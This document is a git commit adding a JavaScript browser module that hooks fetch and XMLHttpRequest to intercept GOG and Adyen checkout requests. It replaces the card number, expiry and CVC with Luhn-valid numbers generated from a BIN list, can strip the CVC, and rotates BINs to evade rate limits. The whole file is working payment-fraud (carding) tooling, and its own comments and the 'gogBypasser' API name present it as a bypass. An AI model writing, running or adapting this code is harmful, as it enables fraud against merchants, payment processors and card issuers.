first commit
This commit is contained in:
977
modules/GogPaymentHandlerModule.js
Normal file
977
modules/GogPaymentHandlerModule.js
Normal file
@@ -0,0 +1,977 @@
|
||||
/**
|
||||
* ============================================================================
|
||||
* GOG/Adyen Payment Handler Module (Modularized Version)
|
||||
* ============================================================================
|
||||
* 功能:
|
||||
* 1. 攔截 GOG/Adyen 支付請求
|
||||
* 2. 解析多種請求體格式 (JSON/FormData/URLSearchParams)
|
||||
* 3. 根據 BIN 列表自動生成有效卡號
|
||||
* 4. 替換原始請求中的卡號、有效期、CVC
|
||||
* 5. 支持 CVC 移除邏輯
|
||||
* 6. 輪詢多個 BIN 以繞過頻率限制
|
||||
*
|
||||
* 使用方式:
|
||||
* const handler = new GogPaymentHandlerModule(config);
|
||||
* handler.init();
|
||||
* ============================================================================
|
||||
*/
|
||||
|
||||
class GogPaymentHandlerModule {
|
||||
constructor(config = {}) {
|
||||
// 默認配置
|
||||
this.config = {
|
||||
enabled: true, // 是否啟用模塊
|
||||
debug: false, // 調試模式
|
||||
removeCvc: false, // 是否移除 CVC
|
||||
binList: [], // BIN 列表 (例: ['424242', '378282'])
|
||||
autoRotateBin: true, // 自動輪詢 BIN
|
||||
targetDomains: [ // 目標域名
|
||||
'gog.com',
|
||||
'adyen.com',
|
||||
'checkout.com'
|
||||
],
|
||||
targetKeywords: [ // URL 關鍵詞
|
||||
'payment',
|
||||
'checkout',
|
||||
'adyen',
|
||||
'paymentMethods',
|
||||
'payments'
|
||||
],
|
||||
cardFields: { // 卡字段映射
|
||||
number: ['cardNumber', 'number', 'card.number', 'encryptedCardNumber'],
|
||||
month: ['expiryMonth', 'month', 'card.expiryMonth', 'exp_month'],
|
||||
year: ['expiryYear', 'year', 'card.expiryYear', 'exp_year'],
|
||||
cvc: ['cvc', 'cvv', 'securityCode', 'card.cvc']
|
||||
},
|
||||
saveToStorage: true, // 保存最後使用的卡信息
|
||||
storageKeys: {
|
||||
lastCard: 'gogBypasserLastCardString',
|
||||
lastCardJson: 'gogBypasserLastCardJSON',
|
||||
binIndex: 'gogBypasserBinIndex'
|
||||
},
|
||||
...config
|
||||
};
|
||||
|
||||
// 運行時狀態
|
||||
this.currentBinIndex = 0;
|
||||
this.lastResetTime = Date.now();
|
||||
this.processedRequests = new Set();
|
||||
this.cardGenerator = null;
|
||||
|
||||
// 原始方法引用
|
||||
this.originalFetch = null;
|
||||
this.originalXHROpen = null;
|
||||
this.originalXHRSend = null;
|
||||
|
||||
// 綁定方法
|
||||
this.handleFetch = this.handleFetch.bind(this);
|
||||
this.handleXHR = this.handleXHR.bind(this);
|
||||
}
|
||||
|
||||
/**
|
||||
* 初始化模塊
|
||||
*/
|
||||
init() {
|
||||
this.log('Initializing GOG Payment Handler Module...');
|
||||
|
||||
// 1. 加載 BIN 索引
|
||||
this.loadBinIndex();
|
||||
|
||||
// 2. 初始化卡號生成器
|
||||
this.initCardGenerator();
|
||||
|
||||
// 3. Hook 網絡請求
|
||||
this.hookFetch();
|
||||
this.hookXHR();
|
||||
|
||||
// 4. 註冊消息監聽
|
||||
this.setupMessageListener();
|
||||
|
||||
// 5. 暴露全局接口
|
||||
this.exposeGlobalAPI();
|
||||
|
||||
this.log('Module initialized successfully');
|
||||
}
|
||||
|
||||
/**
|
||||
* 銷毀模塊
|
||||
*/
|
||||
destroy() {
|
||||
if (this.originalFetch) {
|
||||
window.fetch = this.originalFetch;
|
||||
}
|
||||
if (this.originalXHROpen) {
|
||||
XMLHttpRequest.prototype.open = this.originalXHROpen;
|
||||
}
|
||||
if (this.originalXHRSend) {
|
||||
XMLHttpRequest.prototype.send = this.originalXHRSend;
|
||||
}
|
||||
|
||||
this.log('Module destroyed');
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* BIN 管理
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
/**
|
||||
* 加載 BIN 索引
|
||||
*/
|
||||
loadBinIndex() {
|
||||
try {
|
||||
if (this.config.saveToStorage && window.localStorage) {
|
||||
const saved = localStorage.getItem(this.config.storageKeys.binIndex);
|
||||
if (saved) {
|
||||
this.currentBinIndex = parseInt(saved, 10) || 0;
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
this.warn('Failed to load BIN index from storage:', e);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 保存 BIN 索引
|
||||
*/
|
||||
saveBinIndex() {
|
||||
try {
|
||||
if (this.config.saveToStorage && window.localStorage) {
|
||||
localStorage.setItem(
|
||||
this.config.storageKeys.binIndex,
|
||||
String(this.currentBinIndex)
|
||||
);
|
||||
}
|
||||
} catch (e) {
|
||||
// Ignore
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 獲取下一個 BIN
|
||||
*/
|
||||
getNextBin() {
|
||||
if (this.config.binList.length === 0) {
|
||||
this.warn('BIN list is empty');
|
||||
return null;
|
||||
}
|
||||
|
||||
const bin = this.config.binList[this.currentBinIndex % this.config.binList.length];
|
||||
|
||||
if (this.config.autoRotateBin) {
|
||||
this.currentBinIndex++;
|
||||
this.saveBinIndex();
|
||||
}
|
||||
|
||||
return bin;
|
||||
}
|
||||
|
||||
/**
|
||||
* 更新 BIN 列表
|
||||
*/
|
||||
updateBinList(newBins) {
|
||||
if (Array.isArray(newBins)) {
|
||||
this.config.binList = newBins
|
||||
.filter(b => b && typeof b === 'string')
|
||||
.map(b => b.trim())
|
||||
.filter(b => b.length >= 6);
|
||||
} else if (typeof newBins === 'string') {
|
||||
// 支持換行符分隔
|
||||
this.config.binList = newBins
|
||||
.split('\n')
|
||||
.map(b => b.trim())
|
||||
.filter(b => b.length >= 6);
|
||||
}
|
||||
|
||||
this.log('BIN list updated:', this.config.binList);
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 卡號生成器
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
/**
|
||||
* 初始化卡號生成器
|
||||
*/
|
||||
initCardGenerator() {
|
||||
// 嘗試使用全局生成器
|
||||
if (window.StripeBypasserCardGenerator) {
|
||||
this.cardGenerator = window.StripeBypasserCardGenerator;
|
||||
this.log('Using global card generator');
|
||||
return;
|
||||
}
|
||||
|
||||
// 否則使用內置生成器
|
||||
this.cardGenerator = {
|
||||
generateCard: (bin) => this.generateCardInternal(bin)
|
||||
};
|
||||
|
||||
this.log('Using internal card generator');
|
||||
}
|
||||
|
||||
/**
|
||||
* 內置卡號生成器 (Luhn 算法)
|
||||
*/
|
||||
generateCardInternal(bin) {
|
||||
if (!bin || bin.length < 6) {
|
||||
this.error('Invalid BIN:', bin);
|
||||
return null;
|
||||
}
|
||||
|
||||
// 生成隨機補充數字 (總長度 16 位)
|
||||
let cardNumber = bin;
|
||||
while (cardNumber.length < 15) {
|
||||
cardNumber += Math.floor(Math.random() * 10);
|
||||
}
|
||||
|
||||
// 計算 Luhn 校驗位
|
||||
const checkDigit = this.calculateLuhnCheckDigit(cardNumber);
|
||||
cardNumber += checkDigit;
|
||||
|
||||
// 生成隨機有效期和 CVC
|
||||
const currentYear = new Date().getFullYear();
|
||||
const month = String(Math.floor(Math.random() * 12) + 1).padStart(2, '0');
|
||||
const year = String(currentYear + Math.floor(Math.random() * 5) + 1);
|
||||
const cvc = String(Math.floor(Math.random() * 900) + 100);
|
||||
|
||||
return {
|
||||
number: cardNumber,
|
||||
month: month,
|
||||
year: year,
|
||||
cvc: cvc
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Luhn 算法校驗位計算
|
||||
*/
|
||||
calculateLuhnCheckDigit(cardNumber) {
|
||||
let sum = 0;
|
||||
let shouldDouble = true;
|
||||
|
||||
for (let i = cardNumber.length - 1; i >= 0; i--) {
|
||||
let digit = parseInt(cardNumber[i], 10);
|
||||
|
||||
if (shouldDouble) {
|
||||
digit *= 2;
|
||||
if (digit > 9) digit -= 9;
|
||||
}
|
||||
|
||||
sum += digit;
|
||||
shouldDouble = !shouldDouble;
|
||||
}
|
||||
|
||||
const checkDigit = (10 - (sum % 10)) % 10;
|
||||
return String(checkDigit);
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* Fetch Hook
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
hookFetch() {
|
||||
if (this.originalFetch) return;
|
||||
|
||||
this.originalFetch = window.fetch;
|
||||
const self = this;
|
||||
|
||||
window.fetch = async function(...args) {
|
||||
return await self.handleFetch(this, args, self.originalFetch);
|
||||
};
|
||||
|
||||
this.log('Fetch API hooked');
|
||||
}
|
||||
|
||||
async handleFetch(context, args, originalFetch) {
|
||||
const [url, options = {}] = args;
|
||||
const urlString = this.normalizeUrl(url);
|
||||
|
||||
// 檢查是否為目標請求
|
||||
if (!this.isTargetRequest(urlString)) {
|
||||
return await originalFetch.apply(context, args);
|
||||
}
|
||||
|
||||
this.log('Intercepted payment request:', urlString);
|
||||
|
||||
// 處理支付請求
|
||||
const modifiedOptions = await this.processPaymentRequest(url, options);
|
||||
|
||||
// 發送修改後的請求
|
||||
return await originalFetch.apply(context, [url, modifiedOptions]);
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* XHR Hook
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
hookXHR() {
|
||||
if (this.originalXHROpen) return;
|
||||
|
||||
this.originalXHROpen = XMLHttpRequest.prototype.open;
|
||||
this.originalXHRSend = XMLHttpRequest.prototype.send;
|
||||
const self = this;
|
||||
|
||||
XMLHttpRequest.prototype.open = function(method, url, ...rest) {
|
||||
this._gogUrl = self.normalizeUrl(url);
|
||||
this._gogMethod = method;
|
||||
return self.originalXHROpen.apply(this, [method, url, ...rest]);
|
||||
};
|
||||
|
||||
XMLHttpRequest.prototype.send = function(body) {
|
||||
const url = this._gogUrl;
|
||||
|
||||
if (!self.isTargetRequest(url)) {
|
||||
return self.originalXHRSend.apply(this, [body]);
|
||||
}
|
||||
|
||||
self.log('Intercepted XHR payment request:', url);
|
||||
|
||||
// 處理 XHR 請求體
|
||||
const options = {
|
||||
method: this._gogMethod,
|
||||
body: body,
|
||||
headers: {}
|
||||
};
|
||||
|
||||
self.processPaymentRequest(url, options).then(modifiedOptions => {
|
||||
self.originalXHRSend.apply(this, [modifiedOptions.body]);
|
||||
}).catch(err => {
|
||||
self.error('XHR modification failed:', err);
|
||||
self.originalXHRSend.apply(this, [body]);
|
||||
});
|
||||
};
|
||||
|
||||
this.log('XHR hooked');
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 請求處理核心邏輯
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
/**
|
||||
* 處理支付請求
|
||||
*/
|
||||
async processPaymentRequest(url, options) {
|
||||
if (!this.config.enabled) {
|
||||
return options;
|
||||
}
|
||||
|
||||
// 檢查是否有 BIN 列表
|
||||
if (this.config.binList.length === 0) {
|
||||
this.warn('BIN list is empty, skipping modification');
|
||||
return options;
|
||||
}
|
||||
|
||||
// 獲取下一個 BIN
|
||||
const bin = this.getNextBin();
|
||||
if (!bin) {
|
||||
return options;
|
||||
}
|
||||
|
||||
// 生成新卡號
|
||||
const card = this.cardGenerator.generateCard(bin);
|
||||
if (!card) {
|
||||
this.error('Failed to generate card for BIN:', bin);
|
||||
return options;
|
||||
}
|
||||
|
||||
this.log('Generated card:', {
|
||||
number: card.number.slice(0, 6) + '******' + card.number.slice(-4),
|
||||
month: card.month,
|
||||
year: card.year
|
||||
});
|
||||
|
||||
// 解析和修改請求體
|
||||
const modifiedBody = await this.modifyRequestBody(options.body, card);
|
||||
|
||||
// 保存卡信息
|
||||
this.saveCardInfo(card);
|
||||
|
||||
// 廣播事件
|
||||
this.broadcastCardGenerated(card, url);
|
||||
|
||||
return {
|
||||
...options,
|
||||
body: modifiedBody
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* 修改請求體
|
||||
*/
|
||||
async modifyRequestBody(body, card) {
|
||||
if (!body) return body;
|
||||
|
||||
const bodyType = this.detectBodyType(body);
|
||||
this.log('Request body type:', bodyType);
|
||||
|
||||
switch (bodyType) {
|
||||
case 'json':
|
||||
return this.modifyJsonBody(body, card);
|
||||
case 'formdata':
|
||||
return this.modifyFormDataBody(body, card);
|
||||
case 'urlsearchparams':
|
||||
return this.modifyUrlSearchParamsBody(body, card);
|
||||
case 'string':
|
||||
return this.modifyStringBody(body, card);
|
||||
default:
|
||||
return body;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 檢測請求體類型
|
||||
*/
|
||||
detectBodyType(body) {
|
||||
if (typeof body === 'string') {
|
||||
try {
|
||||
JSON.parse(body);
|
||||
return 'json';
|
||||
} catch (e) {
|
||||
if (body.includes('=')) {
|
||||
return 'urlsearchparams';
|
||||
}
|
||||
return 'string';
|
||||
}
|
||||
}
|
||||
|
||||
if (body instanceof FormData) return 'formdata';
|
||||
if (body instanceof URLSearchParams) return 'urlsearchparams';
|
||||
if (typeof body === 'object') return 'json';
|
||||
|
||||
return 'unknown';
|
||||
}
|
||||
|
||||
/**
|
||||
* 修改 JSON 格式請求體
|
||||
*/
|
||||
modifyJsonBody(body, card) {
|
||||
try {
|
||||
const data = typeof body === 'string' ? JSON.parse(body) : body;
|
||||
|
||||
// 處理嵌套結構 (例: { card: { number: '...', ... } })
|
||||
if (data.card && typeof data.card === 'object') {
|
||||
data.card.number = card.number;
|
||||
data.card.expiryMonth = card.month;
|
||||
data.card.expiryYear = card.year;
|
||||
|
||||
if (this.config.removeCvc) {
|
||||
delete data.card.cvc;
|
||||
delete data.card.cvv;
|
||||
delete data.card.securityCode;
|
||||
} else {
|
||||
data.card.cvc = card.cvc;
|
||||
}
|
||||
}
|
||||
|
||||
// 處理扁平結構
|
||||
for (const field of this.config.cardFields.number) {
|
||||
if (this.hasNestedProperty(data, field)) {
|
||||
this.setNestedProperty(data, field, card.number);
|
||||
}
|
||||
}
|
||||
|
||||
for (const field of this.config.cardFields.month) {
|
||||
if (this.hasNestedProperty(data, field)) {
|
||||
this.setNestedProperty(data, field, card.month);
|
||||
}
|
||||
}
|
||||
|
||||
for (const field of this.config.cardFields.year) {
|
||||
if (this.hasNestedProperty(data, field)) {
|
||||
this.setNestedProperty(data, field, card.year);
|
||||
}
|
||||
}
|
||||
|
||||
if (this.config.removeCvc) {
|
||||
for (const field of this.config.cardFields.cvc) {
|
||||
this.deleteNestedProperty(data, field);
|
||||
}
|
||||
} else {
|
||||
for (const field of this.config.cardFields.cvc) {
|
||||
if (this.hasNestedProperty(data, field)) {
|
||||
this.setNestedProperty(data, field, card.cvc);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
this.log('JSON body modified successfully');
|
||||
return JSON.stringify(data);
|
||||
|
||||
} catch (e) {
|
||||
this.error('Failed to modify JSON body:', e);
|
||||
return body;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 修改 FormData 格式請求體
|
||||
*/
|
||||
modifyFormDataBody(body, card) {
|
||||
try {
|
||||
const newFormData = new FormData();
|
||||
|
||||
for (const [key, value] of body.entries()) {
|
||||
let modified = false;
|
||||
|
||||
// 檢查是否為卡號字段
|
||||
for (const field of this.config.cardFields.number) {
|
||||
if (key.includes(field) || key === field) {
|
||||
newFormData.append(key, card.number);
|
||||
modified = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!modified) {
|
||||
// 檢查月份
|
||||
for (const field of this.config.cardFields.month) {
|
||||
if (key.includes(field) || key === field) {
|
||||
newFormData.append(key, card.month);
|
||||
modified = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!modified) {
|
||||
// 檢查年份
|
||||
for (const field of this.config.cardFields.year) {
|
||||
if (key.includes(field) || key === field) {
|
||||
newFormData.append(key, card.year);
|
||||
modified = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!modified) {
|
||||
// 檢查 CVC
|
||||
const isCvcField = this.config.cardFields.cvc.some(f =>
|
||||
key.includes(f) || key === f
|
||||
);
|
||||
|
||||
if (isCvcField) {
|
||||
if (!this.config.removeCvc) {
|
||||
newFormData.append(key, card.cvc);
|
||||
}
|
||||
modified = true;
|
||||
}
|
||||
}
|
||||
|
||||
// 如果沒有修改,保持原值
|
||||
if (!modified) {
|
||||
newFormData.append(key, value);
|
||||
}
|
||||
}
|
||||
|
||||
this.log('FormData body modified successfully');
|
||||
return newFormData;
|
||||
|
||||
} catch (e) {
|
||||
this.error('Failed to modify FormData body:', e);
|
||||
return body;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 修改 URLSearchParams 格式請求體
|
||||
*/
|
||||
modifyUrlSearchParamsBody(body, card) {
|
||||
try {
|
||||
const params = typeof body === 'string'
|
||||
? new URLSearchParams(body)
|
||||
: new URLSearchParams(body.toString());
|
||||
|
||||
// 替換卡號
|
||||
for (const field of this.config.cardFields.number) {
|
||||
if (params.has(field)) {
|
||||
params.set(field, card.number);
|
||||
}
|
||||
}
|
||||
|
||||
// 替換月份
|
||||
for (const field of this.config.cardFields.month) {
|
||||
if (params.has(field)) {
|
||||
params.set(field, card.month);
|
||||
}
|
||||
}
|
||||
|
||||
// 替換年份
|
||||
for (const field of this.config.cardFields.year) {
|
||||
if (params.has(field)) {
|
||||
params.set(field, card.year);
|
||||
}
|
||||
}
|
||||
|
||||
// 處理 CVC
|
||||
if (this.config.removeCvc) {
|
||||
for (const field of this.config.cardFields.cvc) {
|
||||
params.delete(field);
|
||||
}
|
||||
} else {
|
||||
for (const field of this.config.cardFields.cvc) {
|
||||
if (params.has(field)) {
|
||||
params.set(field, card.cvc);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
this.log('URLSearchParams body modified successfully');
|
||||
return params.toString();
|
||||
|
||||
} catch (e) {
|
||||
this.error('Failed to modify URLSearchParams body:', e);
|
||||
return body;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 修改字符串格式請求體 (純文本或其他格式)
|
||||
*/
|
||||
modifyStringBody(body, card) {
|
||||
try {
|
||||
let modified = body;
|
||||
|
||||
// 使用正則表達式替換卡號模式
|
||||
// 匹配 13-19 位數字
|
||||
const cardNumberPattern = /\b\d{13,19}\b/g;
|
||||
modified = modified.replace(cardNumberPattern, card.number);
|
||||
|
||||
this.log('String body modified (pattern matching)');
|
||||
return modified;
|
||||
|
||||
} catch (e) {
|
||||
this.error('Failed to modify string body:', e);
|
||||
return body;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 嵌套對象處理工具
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
/**
|
||||
* 檢查嵌套屬性是否存在
|
||||
*/
|
||||
hasNestedProperty(obj, path) {
|
||||
const keys = path.split('.');
|
||||
let current = obj;
|
||||
|
||||
for (const key of keys) {
|
||||
if (current && typeof current === 'object' && key in current) {
|
||||
current = current[key];
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* 設置嵌套屬性
|
||||
*/
|
||||
setNestedProperty(obj, path, value) {
|
||||
const keys = path.split('.');
|
||||
let current = obj;
|
||||
|
||||
for (let i = 0; i < keys.length - 1; i++) {
|
||||
const key = keys[i];
|
||||
if (!(key in current)) {
|
||||
current[key] = {};
|
||||
}
|
||||
current = current[key];
|
||||
}
|
||||
|
||||
current[keys[keys.length - 1]] = value;
|
||||
}
|
||||
|
||||
/**
|
||||
* 刪除嵌套屬性
|
||||
*/
|
||||
deleteNestedProperty(obj, path) {
|
||||
const keys = path.split('.');
|
||||
let current = obj;
|
||||
|
||||
for (let i = 0; i < keys.length - 1; i++) {
|
||||
const key = keys[i];
|
||||
if (!(key in current)) {
|
||||
return;
|
||||
}
|
||||
current = current[key];
|
||||
}
|
||||
|
||||
delete current[keys[keys.length - 1]];
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 存儲與廣播
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
/**
|
||||
* 保存卡信息到 LocalStorage
|
||||
*/
|
||||
saveCardInfo(card) {
|
||||
if (!this.config.saveToStorage) return;
|
||||
|
||||
try {
|
||||
const cardString = `${card.number}|${card.month}|${card.year}|${card.cvc || ''}`;
|
||||
|
||||
localStorage.setItem(
|
||||
this.config.storageKeys.lastCard,
|
||||
cardString
|
||||
);
|
||||
|
||||
localStorage.setItem(
|
||||
this.config.storageKeys.lastCardJson,
|
||||
JSON.stringify(card)
|
||||
);
|
||||
|
||||
this.log('Card info saved to storage');
|
||||
|
||||
} catch (e) {
|
||||
this.warn('Failed to save card info:', e);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 從 LocalStorage 加載最後的卡信息
|
||||
*/
|
||||
getLastCardInfo() {
|
||||
try {
|
||||
const json = localStorage.getItem(this.config.storageKeys.lastCardJson);
|
||||
if (json) {
|
||||
return JSON.parse(json);
|
||||
}
|
||||
} catch (e) {
|
||||
// Ignore
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* 廣播卡號生成事件
|
||||
*/
|
||||
broadcastCardGenerated(card, url) {
|
||||
// postMessage 廣播
|
||||
window.postMessage({
|
||||
type: 'GOG_BYPASSER_EVENT',
|
||||
eventType: 'CARD_GENERATED',
|
||||
card: {
|
||||
number: card.number,
|
||||
month: card.month,
|
||||
year: card.year,
|
||||
cvc: this.config.removeCvc ? null : card.cvc,
|
||||
maskedNumber: card.number.slice(0, 6) + '******' + card.number.slice(-4)
|
||||
},
|
||||
url: url,
|
||||
timestamp: Date.now()
|
||||
}, '*');
|
||||
|
||||
// CustomEvent 廣播
|
||||
if (document) {
|
||||
document.dispatchEvent(new CustomEvent('GOG_CARD_GENERATED', {
|
||||
detail: {
|
||||
card: card,
|
||||
url: url
|
||||
}
|
||||
}));
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 工具方法
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
/**
|
||||
* 標準化 URL
|
||||
*/
|
||||
normalizeUrl(url) {
|
||||
try {
|
||||
if (typeof url === 'string') return url;
|
||||
if (url instanceof URL) return url.toString();
|
||||
if (url && url.url) return url.url;
|
||||
return String(url);
|
||||
} catch (e) {
|
||||
return '';
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 判斷是否為目標請求
|
||||
*/
|
||||
isTargetRequest(url) {
|
||||
if (!url) return false;
|
||||
|
||||
const urlLower = url.toLowerCase();
|
||||
|
||||
// 檢查域名
|
||||
const domainMatch = this.config.targetDomains.some(domain =>
|
||||
urlLower.includes(domain.toLowerCase())
|
||||
);
|
||||
|
||||
// 檢查關鍵詞
|
||||
const keywordMatch = this.config.targetKeywords.some(keyword =>
|
||||
urlLower.includes(keyword.toLowerCase())
|
||||
);
|
||||
|
||||
return domainMatch || keywordMatch;
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 消息監聽
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
setupMessageListener() {
|
||||
window.addEventListener('message', (event) => {
|
||||
const data = event.data;
|
||||
|
||||
if (data?.type === 'GOG_HANDLER_UPDATE_CONFIG') {
|
||||
this.updateConfig(data.config);
|
||||
}
|
||||
|
||||
if (data?.type === 'GOG_HANDLER_UPDATE_BIN') {
|
||||
this.updateBinList(data.bins);
|
||||
}
|
||||
|
||||
if (data?.type === 'GOG_HANDLER_RESET') {
|
||||
this.reset();
|
||||
}
|
||||
|
||||
if (data?.type === 'GOG_HANDLER_GENERATE_CARD') {
|
||||
const bin = data.bin || this.getNextBin();
|
||||
const card = this.cardGenerator.generateCard(bin);
|
||||
|
||||
// 回復消息
|
||||
window.postMessage({
|
||||
type: 'GOG_HANDLER_CARD_RESPONSE',
|
||||
card: card
|
||||
}, '*');
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 配置管理
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
/**
|
||||
* 更新配置
|
||||
*/
|
||||
updateConfig(newConfig) {
|
||||
Object.assign(this.config, newConfig);
|
||||
|
||||
// 如果更新了 BIN 列表,處理它
|
||||
if (newConfig.binList) {
|
||||
this.updateBinList(newConfig.binList);
|
||||
}
|
||||
|
||||
this.log('Config updated:', this.config);
|
||||
}
|
||||
|
||||
/**
|
||||
* 重置狀態
|
||||
*/
|
||||
reset() {
|
||||
this.currentBinIndex = 0;
|
||||
this.processedRequests.clear();
|
||||
this.saveBinIndex();
|
||||
this.log('Module state reset');
|
||||
}
|
||||
|
||||
/**
|
||||
* 獲取當前狀態
|
||||
*/
|
||||
getStatus() {
|
||||
return {
|
||||
enabled: this.config.enabled,
|
||||
binCount: this.config.binList.length,
|
||||
currentBinIndex: this.currentBinIndex,
|
||||
lastCard: this.getLastCardInfo(),
|
||||
processedCount: this.processedRequests.size,
|
||||
config: this.config
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 全局 API
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
exposeGlobalAPI() {
|
||||
window.gogBypasser = {
|
||||
module: this,
|
||||
handlePayment: (url, options) => this.processPaymentRequest(url, options),
|
||||
generateCard: (bin) => this.cardGenerator.generateCard(bin || this.getNextBin()),
|
||||
getStatus: () => this.getStatus(),
|
||||
updateConfig: (cfg) => this.updateConfig(cfg),
|
||||
updateBins: (bins) => this.updateBinList(bins),
|
||||
reset: () => this.reset()
|
||||
};
|
||||
|
||||
this.log('Global API exposed as window.gogBypasser');
|
||||
}
|
||||
|
||||
/**
|
||||
* ========================================================================
|
||||
* 日誌工具
|
||||
* ========================================================================
|
||||
*/
|
||||
|
||||
log(...args) {
|
||||
if (this.config.debug) {
|
||||
console.log('[GOG Handler]', ...args);
|
||||
}
|
||||
}
|
||||
|
||||
warn(...args) {
|
||||
if (this.config.debug) {
|
||||
console.warn('[GOG Handler]', ...args);
|
||||
}
|
||||
}
|
||||
|
||||
error(...args) {
|
||||
console.error('[GOG Handler]', ...args);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* ============================================================================
|
||||
* 全局暴露與自動初始化
|
||||
* ============================================================================
|
||||
*/
|
||||
window.GogPaymentHandlerModule = GogPaymentHandlerModule;
|
||||
|
||||
// 自動初始化選項
|
||||
if (typeof GOG_AUTO_INIT !== 'undefined' && GOG_AUTO_INIT) {
|
||||
const instance = new GogPaymentHandlerModule({
|
||||
enabled: true,
|
||||
debug: true,
|
||||
binList: window.GOG_BIN_LIST || [],
|
||||
removeCvc: false
|
||||
});
|
||||
instance.init();
|
||||
window.__gogHandler = instance;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user